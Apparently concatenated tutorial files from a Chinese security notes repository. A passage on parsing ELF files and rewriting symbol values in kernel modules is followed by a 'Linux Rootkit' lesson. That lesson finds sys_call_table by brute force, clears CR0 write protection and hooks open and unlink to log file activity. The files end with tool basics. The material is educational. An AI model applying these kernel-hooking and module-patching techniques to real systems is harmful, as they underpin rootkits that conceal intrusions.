*section_header_table = malloc(size); 660 | if (section_header_table == NULL) { 661 | perror("malloc"); 662 | return EXIT_FAILURE; 663 | } 664 | 665 | // 定位到文件偏移 ``e_shoff`` 处。 666 | fseek (fp, header.e_shoff, SEEK_SET); 667 | // 读取区间头表。 668 | if (fread(section_header_table, 1, size, fp) != size) { 669 | fprintf(stderr, "%s\n", "Incomplete Section Header Table!"); 670 | return EXIT_FAILURE; 671 | } 672 | 673 | // 得到字符串表的区间头。 674 | Elf64_Shdr shstrtab = section_header_table[header.e_shstrndx]; 675 | // 区间大小。 676 | size = shstrtab.sh_size; 677 | // 分配内存。 678 | char *section_header_string_table = malloc(size); 679 | if (section_header_string_table == NULL) { 680 | perror("malloc"); 681 | return EXIT_FAILURE; 682 | } 683 | 684 | // 定位到字符串表所在文件偏移。 685 | fseek (fp, shstrtab.sh_offset, SEEK_SET); 686 | // 读取字符串表。 687 | if (fread(section_header_string_table, 1, size, fp) != size) { 688 | fprintf(stderr, "%s\n", "Incomplete Section Header String Table!"); 689 | return EXIT_FAILURE; 690 | } 691 | 692 | 遍历所有区间并打印其信息 693 | ************************ 694 | 695 | 然后我们就可以遍历区间头表并将其名字、文件偏移等信息打印出来。 696 | 代码如下。 697 | 698 | .. code-block:: c 699 | 700 | printf("%s\n", "number offset size entsize name"); 701 | for (unsigned num = 0; num < header.e_shnum; num += 1) { 702 | Elf64_Shdr section_header = section_header_table[num]; 703 | char *name = string_table + section_header.sh_name; 704 | printf("%4u %8llx %8llx %8llx %s\n", 705 | num, section_header.sh_offset, 706 | section_header.sh_size, section_header.sh_entsize, 707 | name); 708 | } 709 | 710 | 参考效果 711 | ******** 712 | 713 | 编译 ``lssec.c`` 得到 ``lssec`` 。 714 | 715 | 左边是 ``./lssec /bin/ls`` , 716 | 右边是对比使用的 ``readelf -S /bin/ls`` 。 717 | 718 | .. image:: images/lssec.png 719 | 720 | 示例二:列举所有符号的名字、值等信息:``lssym`` 721 | +++++++++++++++++++++++++++++++++++++++++++++++ 722 | 723 | 上面的示例一完成了对区间头表的遍历。现在我们再看看怎么读取符号表。 724 | 725 | 基于示例一遍历区间头表的代码, 726 | 我们可以实现一个 ``get_section_by_name`` , 727 | 即通过区间名字拿到对应的区间头。 728 | 729 | 然后我们通过 ``get_section_by_name`` 拿到 ``.symtab`` (即符号表)与 730 | ``.strtab`` (符号字符串表)的区间头, 731 | 进而根据这两个头把这两个区间读到内存中来。 732 | 看如下代码。 733 | 734 | .. code-block:: c 735 | 736 | // 获取 .symtab 的头。 737 | Elf64_Shdr *symtab = get_section_by_name(".symtab", 738 | header, 739 | sec_header_tab, 740 | shstrtab); 741 | 742 | // 这儿省略获取 .strtab 的头,与获取 .symtab 的头类似。 743 | 744 | // 这儿省略对是否获取成功的检查。 745 | 746 | // 分配 .symtab 大小的内存。 747 | Elf64_Sym *syms = malloc(symtab->sh_size); 748 | if (syms == NULL) { 749 | perror("malloc"); 750 | return EXIT_FAILURE; 751 | } 752 | // 定位到 .symtab 的文件偏移。 753 | fseek(fp, symtab->sh_offset, SEEK_SET); 754 | // 读取 .symtab。 755 | if (fread(syms, 1, symtab->sh_size, fp) != symtab->sh_size) { 756 | fprintf(stderr, "%s\n", "Incomplete Symbol Table!"); 757 | return EXIT_FAILURE; 758 | } 759 | 760 | // 这儿省略 .strtab 的读取,与 .symtab 的读取类似。 761 | 762 | 此时, ``.symtab`` 与 ``.strtab`` 都已经读到内存里了。 763 | 下面我们看看, ``.symtab`` 的结构。 764 | 765 | 区间头有一个 ``sh_entsize`` 成员,这个成员的含义是, 766 | 如果这个区间保存的是一张表, 767 | 那么 ``sh_entsize`` 就是这张表中每个成员的大小。 768 | 回想一下,区间头里的 ``sh_size`` 是区间的大小, 769 | 所以对 ``.symtab`` 而言,它有 ``sh_size / sh_entsize`` 项成员。 770 | 771 | 每项成员由结构体 ``Elf64_Sym`` 描述,定义如下。 772 | 773 | :: 774 | 775 | typedef struct 776 | { 777 | Elf64_Word st_name; // 符号名字(字符串表索引) 778 | unsigned char st_info; // 类型与绑定。 779 | unsigned char st_other; 780 | Elf64_Section st_shndx; 781 | Elf64_Addr st_value; // 符号的值。 782 | Elf64_Xword st_size; 783 | } Elf64_Sym; 784 | 785 | ``Elf64_Sym`` 中的 ``st_name`` 是一个整数, 786 | 为符号的名字在 ``.strtab`` 中的索引, 787 | 这一点与之前区间头( ``Elf64_Shdr`` )里的 ``sh_name`` 类似。 788 | 789 | 知道了这些,我们就可以遍历整个符号表并将符号的名字, 790 | 符号的值等信息打印出来,如下代码所示。 791 | 792 | .. code-block:: c 793 | 794 | printf("%s\n", 795 | "num index size value info other name"); 796 | int total = symtab->sh_size / symtab->sh_entsize; 797 | for (int count = 0; count < total; count += 1) { 798 | printf("%4llu %4llx %8llu %8llx %4x %4x %s\n", 799 | count, 800 | syms[count].st_shndx, 801 | syms[count].st_size, 802 | syms[count].st_value, 803 | syms[count].st_info, 804 | syms[count].st_other, 805 | strs + syms[count].st_name); 806 | } 807 | 808 | 参考效果 809 | ******** 810 | 811 | 编译 ``lssym.c`` 得到 ``lssym`` ,如下图所示, 812 | 左边是 ``./lssym ../noinj/noinj.ko`` , 813 | 右边是用来对照的 ``readelf -s ../noinj/noinj.ko`` 。 814 | 815 | .. image:: images/lssym.png 816 | 817 | 示例三:获取或修改给定符号的值:``setsym`` 818 | ++++++++++++++++++++++++++++++++++++++++++ 819 | 820 | 既然我们已经能够遍历整个符号表了,那么要获取给定符号的值,毫无压力。 821 | 822 | 那么修改给定符号的值呢,也很简单,请看如下代码, 823 | 基于示例二的遍历逻辑修改而来。 824 | 825 | .. code-block:: c 826 | 827 | for (int count = 0; count < total; count += 1) { 828 | // 判断当前遍历到的符号是不是我们给定的符号。 829 | // 请注意,argv[2] 位置参数用来给定符号的名字。 830 | if (strcmp(strs + syms[count].st_name, argv[2]) == 0) { 831 | // 如果是,就会执行进来。 832 | // 判断位置参数的个数。 833 | if (argc == 4) { 834 | // 如果给定了 3 个位置参数,执行到这里。 835 | // 这时是 setsym 的第二种用法。 836 | // 即 setsym 。 837 | // 也就是设置给定符号的值。 838 | 839 | // 取当前符号。 840 | Elf64_Sym sym = syms[count]; 841 | char *endp; 842 | errno = 0; 843 | // 将 argv[3] 转换成整数。 844 | // 注意 argv[3] 是需要设置的给定符号的值。 845 | unsigned long long val = strtoull(argv[3], &endp, 0); 846 | // 处理转换时可能出现的错误。 847 | if ((errno == ERANGE && val == ULLONG_MAX) || 848 | (errno != 0 && val == 0)) { 849 | perror("strtoull"); 850 | return EXIT_FAILURE; 851 | } 852 | // 处理转换时可能出现的错误。 853 | if (endp == argv[3]) { 854 | fprintf(stderr, "%s\n", "No Valid Number!"); 855 | return EXIT_FAILURE; 856 | } 857 | // 把符号的值改成给定的值。 858 | sym.st_value = val; 859 | 860 | // 计算当前符号距离 .symtab 起始的偏移。 861 | long delta = count * symtab->sh_entsize; 862 | // 定位到当前符号的文件偏移。 863 | fseek(fp, symtab->sh_offset + delta, SEEK_SET); 864 | // 写入修改后的符号。 865 | if (fwrite(&sym, 1, sizeof sym, fp) != sizeof sym) { 866 | fprintf(stderr, "%s\n", "Incomplete Sym Write!"); 867 | return EXIT_FAILURE; 868 | } else { 869 | fprintf(stderr, "%s\n", "Writing complete."); 870 | } 871 | } else { 872 | // 如果给定了 2 个位置参数,执行到这里。 873 | // 请注意,我们在程序的开始部分就把 argc 限制在了 874 | // 3 或者 4 。 875 | 876 | // 这时是 setsym 的第一种用法。 877 | // 即 setsym 。 878 | // 获取给定符号的值。 879 | printf("0x%llx\n", syms[count].st_value); 880 | } 881 | } 882 | } 883 | 884 | 参考效果 885 | ******** 886 | 887 | 考虑到我们在第一部分已经基于 ``setsym`` 完成了我们的 Happy Hacking 。 888 | 这里就不必举参考用例了。 889 | 890 | 第三部分: 参考资料与延伸阅读 891 | ----------------------------- 892 | 893 | 1. 参考资料 894 | +++++++++++ 895 | 896 | - `Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x `_ 897 | - `Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification Version 1.2 `_ 898 | 899 | 2. 延伸阅读 900 | +++++++++++ 901 | 902 | - `Infecting Loadable Kernel Modules `_ 903 | - `Static Kernel Patching `_ 904 | 905 | 906 | 如有错误疏忽,欢迎纠正补充; 907 | 如有疑惑不解,欢迎提问讨论。 908 | 909 | rectigu@gmail.com , 二〇一六年七月。 910 | 911 | 912 | .. _笔者的上一篇文章: http://www.freebuf.com/articles/system/107829.html 913 | -------------------------------------------------------------------------------- /source/linux_rootkit/sys_call_table.rst: -------------------------------------------------------------------------------- 1 | Linux Rootkit 系列二:基于修改 `sys_call_table`_ 的系统调用挂钩 2 | =============================================================== 3 | 4 | **最后修改时间** :待记录。 5 | 6 | rectigu@gmail.com, 二〇一六年五月。 7 | 8 | **FreeBuf 链接** : http://www.freebuf.com/sectool/105713.html 。 9 | 10 | 前言: `《Linux Rootkit 系列一: LKM 的基础编写及隐藏》`_ 11 | 的作者似乎跑路了;留下的这个口锅,我试着背一下。 12 | 鉴于笔者知识能力上的不足,如有问题欢迎各位扔豆腐,不要砸砖头。 13 | 14 | 与第一篇文章作者所想象的不同, 15 | 本文不打算给大家介绍三种不同的系统调用挂钩技术, 16 | 相反,本文仅详细讲解最简单的系统调用挂钩方案, 17 | 并且基于这个方案实现最基本的文件监视工具。 18 | 这样,既可以让读者轻松上手进行实际应用, 19 | 又可以加深、巩固读者对 LKM_ 的理解, 20 | 同时还免去了一次学习多种挂钩方案的理论知识压力。 21 | 22 | 所以,本文力求以实验为核心,每一个步骤都可能有对应的实验代码。 23 | 代码仓库: https://github.com/NoviceLive/research-rootkit 。 24 | 代码在最新的 64 比特 Arch_ 与 Kali_ 上面测试正常。 25 | 26 | 测试建议: **不要在物理机测试!不要在物理机测试! 27 | 不要在物理机测试!** 28 | 29 | 如果读者使用 tmux_ 或者类似的工具, 30 | 则可以垂直分割你的终端窗口, 31 | 一个窗口开一个 ``sudo dmesg -C && dmesg -w`` ,用于查看日志; 32 | 另一个窗口用来做其他操作,比如构建、加载内核模块。 33 | 不用 tmux_ 也没关系,开两个终端,各占半个屏幕。 34 | 35 | 36 | 第一部分:基于修改 `sys_call_table`_ 的系统调用挂钩 37 | --------------------------------------------------- 38 | 39 | 在系统调用挂钩技术中,最简单、最流行的方案是修改 40 | `sys_call_table`_ , 41 | 成员类型为函数指针的一维数组。 42 | 43 | .. code-block:: c 44 | 45 | asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = { 46 | /* 47 | * Smells like a compiler bug -- it doesn't work 48 | * when the & below is removed. 49 | */ 50 | [0 ... __NR_syscall_max] = &sys_ni_syscall, 51 | #include 52 | }; 53 | 54 | 要修改它,首先得拿到它在内存里的位置。 55 | 然后,由于 `sys_call_table`_ 所在的内存是有写保护的, 56 | 所以我们需要先去掉写保护,再做修改。 57 | 58 | 1. 获得 `sys_call_table`_ 的内存地址 59 | ++++++++++++++++++++++++++++++++++++ 60 | 61 | 在综合考量了几种可选的获取方案之后, 62 | 笔者决定采用从内核起始地址开始暴力搜索内存空间的方案。 63 | ( **但是这种方案有可能被欺骗** 。) 64 | 65 | 其他可能的方案有,一,从 `/boot/System.map`_ 中读取, 66 | 感兴趣的读者可以查阅 67 | `Hooking the Linux System Call Table`_ , 68 | 这篇文章便是使用这种方案来获取 `sys_call_table`_ 的地址的。 69 | 70 | 二,从使用了 `sys_call_table`_ 71 | 的某些未导出函数的机器码里面进行特征搜索, 72 | 感兴趣的读者可以查阅 73 | `Kernel-Land Rootkits`_ , 74 | 作者花了几张 slides 75 | 阐述了如何从导出的函数中获取使用了 `sys_call_table`_ 的未导出函数, 76 | 进而搜索那个未导出函数的机器码, 77 | 得到 `sys_call_table`_ 的地址;等等。 78 | 79 | 值得指出的是, 80 | 感兴趣的读者在测试这些本文未涉及的方案时, 81 | 如果遇到了疑惑或者困难,也可以与笔者联系、交流。 82 | 83 | 直接看代码。 84 | 85 | .. code-block:: c 86 | 87 | unsigned long ** 88 | get_sys_call_table(void) 89 | { 90 | unsigned long **entry = (unsigned long **)PAGE_OFFSET; 91 | 92 | for (;(unsigned long)entry < ULONG_MAX; entry += 1) { 93 | if (entry[__NR_close] == (unsigned long *)sys_close) { 94 | return entry; 95 | } 96 | } 97 | 98 | return NULL; 99 | } 100 | 101 | `PAGE_OFFSET`_ 是内核内存空间的起始地址。 102 | 因为 `sys_close`_ 是导出函数 103 | (需要指出的是, ``sys_open`` 、 ``sys_read`` 等并不是导出的), 104 | 我们可以直接得到他的地址;因为系统调用号 105 | (也就是 `sys_call_table`_ 这个一维数组的索引) 106 | 在同一 ABI_ (x86 跟 x64 不是同一 ABI)上具有高度的后向兼容性, 107 | 更重要的是,我们可以直接使用这个索引(代码中的 ``__NR_close`` )! 108 | 109 | 从内核内存的起始地址开始, 110 | 逐一尝试每一个指针大小的内存:把它当成是 `sys_call_table`_ 的地址, 111 | 用某个系统调用的编号(也就是索引)访问数组中的成员, 112 | 如果访问得到的值刚好是是这个系统调用号所对应的系统调用的地址, 113 | 那么我们就认为当前尝试的这块指针大小的内存就是我们要找的 114 | `sys_call_table`_ 的地址。 115 | 116 | .. image:: images/sys_call_table.png 117 | 118 | 2. 关闭写保护 119 | +++++++++++++ 120 | 121 | 写保护指的是写入只读内存时出错。 122 | 这个特性可以通过 CR0_ 寄存器控制:开启或者关闭, 123 | 只需要修改一个比特,也就是从 0 开始数的第 16 个比特。 124 | 125 | 看代码。我们可以使用 `read_cr0`_ / `write_cr0`_ 126 | 来读取 / 写入 CR0_ 寄存器, 127 | 免去我们自己写内联汇编的麻烦。 128 | 129 | 函数原型。 130 | 131 | .. code-block:: c 132 | 133 | static inline unsigned long read_cr0(void); 134 | 135 | static inline void write_cr0(unsigned long x); 136 | 137 | 关闭写保护的源代码:将 CR0_ 寄存器从 0 开始数的第 16 个比特置为 0。 138 | 139 | .. code-block:: c 140 | 141 | void 142 | disable_write_protection(void) 143 | { 144 | unsigned long cr0 = read_cr0(); 145 | clear_bit(16, &cr0); 146 | write_cr0(cr0); 147 | } 148 | 149 | 开启写保护的源代码:将 CR0_ 寄存器从 0 开始数的第 16 个比特置为 1。 150 | 151 | .. code-block:: c 152 | 153 | void 154 | enable_write_protection(void) 155 | { 156 | unsigned long cr0 = read_cr0(); 157 | set_bit(16, &cr0); 158 | write_cr0(cr0); 159 | } 160 | 161 | 162 | 在设置或者清除某个比特,我们使用了 `set_bit`_ 与 `clear_bit`_ 。 163 | 它们是 Linux 内核提供给内核模块使用的编程接口,简单易懂, 164 | 同时还免去了我们自己写那种很难读的位运算的痛苦。 165 | 166 | 函数原型。 167 | 168 | .. code-block:: c 169 | 170 | static __always_inline void 171 | set_bit(long nr, volatile unsigned long *addr); 172 | 173 | static __always_inline void 174 | clear_bit(long nr, volatile unsigned long *addr); 175 | 176 | .. image:: images/write_protection.png 177 | 178 | 3. 修改 `sys_call_table`_ 179 | +++++++++++++++++++++++++ 180 | 181 | 一维数组赋值,当之无愧最简单的方案。 182 | 当然,我们需要先把真正的值保存好,以备后面之需。 183 | 184 | .. code-block:: c 185 | 186 | disable_write_protection(); 187 | real_open = (void *)sys_call_table[__NR_open]; 188 | sys_call_table[__NR_open] = (unsigned long*)fake_open; 189 | real_unlink = (void *)sys_call_table[__NR_unlink]; 190 | sys_call_table[__NR_unlink] = (unsigned long*)fake_unlink; 191 | real_unlinkat = (void *)sys_call_table[__NR_unlinkat]; 192 | sys_call_table[__NR_unlinkat] = (unsigned long*)fake_unlinkat; 193 | enable_write_protection(); 194 | 195 | 4. 恢复 196 | +++++++ 197 | 198 | .. code-block:: c 199 | 200 | disable_write_protection(); 201 | sys_call_table[__NR_open] = (unsigned long*)real_open; 202 | sys_call_table[__NR_unlink] = (unsigned long*)real_unlink; 203 | sys_call_table[__NR_unlinkat] = (unsigned long*)real_unlinkat; 204 | enable_write_protection(); 205 | 206 | 207 | 第二部分:基于系统调用挂钩的初级文件监视 208 | ---------------------------------------- 209 | 210 | 监视文件的创建与删除。 211 | 我们挂钩 `sys_open`_, `sys_unlink`_, `sys_unlinkat`_ 这三个函数, 212 | 并且在我们的钩子函数把操作到的文件名打印出来, 213 | 然后把控制交给真正的系统调用处理。 214 | 215 | 1. `sys_open`_ 的钩子函数: ``fake_open`` 216 | +++++++++++++++++++++++++++++++++++++++++ 217 | 218 | 考虑到在系统运行时,对文件的读写操作从未中断, 219 | 这里只打印了进行创建操作的文件名,准确地说是, 220 | `sys_open`_ 的 ``flags`` 中包含 `O_CREAT`_ 。 221 | 222 | .. code-block:: c 223 | 224 | asmlinkage long 225 | fake_open(const char __user *filename, int flags, umode_t mode) 226 | { 227 | if ((flags & O_CREAT) && strcmp(filename, "/dev/null") != 0) { 228 | printk(KERN_ALERT "open: %s\n", filename); 229 | } 230 | 231 | return real_open(filename, flags, mode); 232 | } 233 | 234 | 注:这里的 `strcmp`_ 也是内核提供的。 235 | 236 | 2. `sys_unlink`_ 与 `sys_unlinkat`_ 的钩子函数: ``fake_unlink`` 与 ``fake_unlinkat`` 237 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 238 | 239 | 简单处理,直接打印路径名。 240 | 241 | .. code-block:: c 242 | 243 | asmlinkage long 244 | fake_unlink(const char __user *pathname) 245 | { 246 | printk(KERN_ALERT "unlink: %s\n", pathname); 247 | 248 | return real_unlink(pathname); 249 | } 250 | 251 | asmlinkage long 252 | fake_unlinkat(int dfd, const char __user * pathname, int flag) 253 | { 254 | printk(KERN_ALERT "unlinkat: %s\n", pathname); 255 | 256 | return real_unlinkat(dfd, pathname, flag); 257 | } 258 | 259 | 3. 测试我们的文件监视工具 260 | +++++++++++++++++++++++++ 261 | 262 | 初级的文件监视就到这了,以后我们在做进一步的改进与完善。 263 | 264 | .. image:: images/fsmon.png 265 | 266 | 267 | 第三部分:参考资料与延伸阅读 268 | ---------------------------- 269 | 270 | 1. 参考资料 271 | +++++++++++ 272 | 273 | - `Linux Cross Reference`_ 274 | - `The Linux Kernel API`_ 275 | - `How the Linux kernel handles a system call`_ 276 | - CR0_ 277 | 278 | 2. 延伸阅读 279 | +++++++++++ 280 | 281 | - `Hooking the Linux System Call Table`_ 282 | - `Kernel-Land Rootkits`_ 283 | 284 | 285 | .. _《Linux Rootkit 系列一: LKM 的基础编写及隐藏》: http://www.freebuf.com/articles/system/54263.html 286 | 287 | .. _Hooking the Linux System Call Table: https://tnichols.org/2015/10/19/Hooking-the-Linux-System-Call-Table/ 288 | .. _Kernel-Land Rootkits: http://www.kernelhacking.com/rodrigo/docs/StMichael/kernel-land-rootkits.pdf 289 | 290 | .. _/boot/System.map: https://en.wikipedia.org/wiki/System.map 291 | .. _LKM: https://en.wikipedia.org/wiki/Loadable_kernel_module 292 | .. _ABI: https://en.wikipedia.org/wiki/Application_binary_interface 293 | .. _CR0: https://en.wikipedia.org/wiki/Control_register#CR0 294 | 295 | .. _The Linux Kernel API: https://www.kernel.org/doc/htmldocs/kernel-api/index.html 296 | .. _set_bit: https://www.kernel.org/doc/htmldocs/kernel-api/API-set-bit.html 297 | .. _clear_bit: https://www.kernel.org/doc/htmldocs/kernel-api/API-clear-bit.html 298 | .. _strcmp: https://www.kernel.org/doc/htmldocs/kernel-api/API-strcmp.html 299 | 300 | .. _Linux Cross Reference: http://lxr.free-electrons.com/ 301 | .. _read_cr0: http://lxr.free-electrons.com/ident?i=read_cr0 302 | .. _write_cr0: http://lxr.free-electrons.com/ident?i=write_cr0 303 | .. _sys_close: http://lxr.free-electrons.com/ident?i=sys_close 304 | .. _sys_open: http://lxr.free-electrons.com/ident?i=sys_open 305 | .. _sys_unlink: http://lxr.free-electrons.com/ident?i=sys_unlink 306 | .. _sys_unlinkat: http://lxr.free-electrons.com/ident?i=sys_unlinkat 307 | .. _sys_call_table: http://lxr.free-electrons.com/ident?i=sys_call_table 308 | .. _PAGE_OFFSET: http://lxr.free-electrons.com/ident?i=PAGE_OFFSET 309 | .. _O_CREAT: http://lxr.free-electrons.com/ident?i=O_CREAT 310 | 311 | .. _Arch: https://www.archlinux.org/ 312 | .. _Kali: https://www.kali.org/ 313 | 314 | .. _How the Linux kernel handles a system call: https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html 315 | 316 | .. _tmux: https://tmux.github.io/ 317 | -------------------------------------------------------------------------------- /source/using.rst: -------------------------------------------------------------------------------- 1 | 基本应用 2 | ======== 3 | 4 | 5 | 1. Parted 的基本应用 6 | -------------------- 7 | 8 | 磁盘分区工具。 9 | 10 | 11 | 2. SSH 的基本应用 12 | ----------------- 13 | 14 | 安全 Shell。 15 | 16 | 17 | 3. tmux 的基本应用 18 | ------------------ 19 | 20 | 21 | 3.1. 常用命令 22 | +++++++++++++ 23 | 24 | 命令的详细帮助请查看 tmux_ 的 man 手册。 25 | 26 | 提示:绑定快捷键可以更灵活的操作。 27 | 28 | 29 | - new-session 30 | 31 | 创建会话。 32 | 33 | 别名: ``new`` 。 34 | 35 | :: 36 | 37 | tmux new-session -s main 38 | 39 | 40 | - split-window 41 | 42 | 分割窗口成板块,默认垂直分割( ``-v`` ),使用 ``-h`` 水平分割。 43 | 44 | 别名: ``splitw`` 。 45 | 46 | :: 47 | 48 | tmux split-window -h 49 | 50 | 51 | - kill-pane 52 | 53 | 删除板块。 54 | 55 | 别名: ``killp`` 。 56 | 57 | :: 58 | 59 | tmux kill-pane 60 | 61 | 62 | - kill-session 63 | 64 | 结束会话。 65 | 66 | :: 67 | 68 | tmux kill-session 69 | 70 | 71 | .. _tmux: http://tmux.github.io/ 72 | 73 | 74 | 4. IRC 的基本应用 75 | ----------------- 76 | 77 | 78 | IRC_, 即 `Internet Relay Chat`_ 。 79 | 80 | 81 | 4.1. 常用 IRC 客户端 82 | ++++++++++++++++++++ 83 | 84 | - ChatZilla_ 85 | 86 | Firefox_ 浏览器的 `拓展`_ 。 87 | 88 | 89 | - Irssi_ 90 | 91 | 字符界面的聊天程序。 92 | 93 | 94 | 4.2. 常用 IRC 命令 95 | ++++++++++++++++++ 96 | 97 | 注意:有些命令在不同的 IRC 客户端可能不太一样。 98 | 99 | 使用 ``help`` 命令查看详细的使用文档,例如, ``/help join`` 。 100 | 101 | ======================= ======================= ======================== 102 | 操作 ChatZilla Irssi 103 | ======================= ======================= ======================== 104 | 列举所有命令 ``/commands`` ``/help`` 105 | 连接 IRC 服务器 ``/attach freenode`` ``/connect freenode`` 106 | 加入 IRC 频道 ``/join #librecrops`` 107 | ----------------------- --------------------------------------------------- 108 | 退出 IRC 频道 ``/leave`` ``/part`` 109 | 断开与 IRC 服务器的连接 ``/disconnect`` 110 | 关闭 IRC 客户端 ``/quit`` 111 | ======================= =================================================== 112 | 113 | 114 | .. _IRC: https://en.wikipedia.org/wiki/Internet_Relay_Chat 115 | .. _Internet Relay Chat: IRC_ 116 | .. _ChatZilla: http://chatzilla.hacksrus.com/ 117 | .. _Firefox: https://www.mozilla.org/en-US/firefox/ 118 | .. _拓展: https://addons.mozilla.org/en-US/firefox/ 119 | .. _Irssi: https://irssi.org/ 120 | 121 | 122 | 5. GPG 的基本应用 123 | ----------------- 124 | 125 | 126 | GPG_, 即 `GNU Privacy Guard`_ 。 127 | 128 | 129 | 5.1. 创建一对公私钥 130 | +++++++++++++++++++ 131 | 132 | 使用 ``gpg --full-gen-key``。 133 | 134 | 135 | 5.2. 导出自己的公私钥 136 | +++++++++++++++++++++ 137 | 138 | - 公钥 139 | 140 | :: 141 | 142 | gpg --export -a rectigu@gmail.com > key.pub 143 | 144 | - 发布自己的公钥 145 | 146 | 使用 ``gpg --send-keys``。 147 | 148 | - 私钥 149 | 150 | :: 151 | 152 | gpg --export-secret-keys -a -o key rectigu@gmail.com 153 | 154 | 然后将私钥备份到一个隐蔽的、安全的地方。 155 | 156 | 157 | 5.3. 导入自己的公私钥 158 | +++++++++++++++++++++ 159 | 160 | 161 | :: 162 | 163 | gpg --import key 164 | gpg --edit-key rectigu@gmail.com 165 | # gpg> trust 166 | # Choose ``I trust ultimately`` 167 | # gpg> q 168 | 169 | 170 | 5.4. 对大文件签名 171 | +++++++++++++++++ 172 | 173 | 174 | 签名操作其实也是加密过程,所以对大文件的签名通常不是对文件内容, 175 | 而是对文件杂凑(使用具有足够强度的密码学杂凑算法计算)。 176 | 177 | 也就是,先计算文件杂凑,然后对文件杂凑签名。 178 | 179 | 举个例子。 180 | 181 | :: 182 | 183 | sha1sum archlinux-2016.04.01-dual.iso | gpg -a --clearsign > archlinux-2016.04.01-dual.iso.sha1sum.asc 184 | 185 | 186 | .. _GPG: https://www.gnupg.org/ 187 | .. _GNU Privacy Guard: GPG_ 188 | --------------------------------------------------------------------------------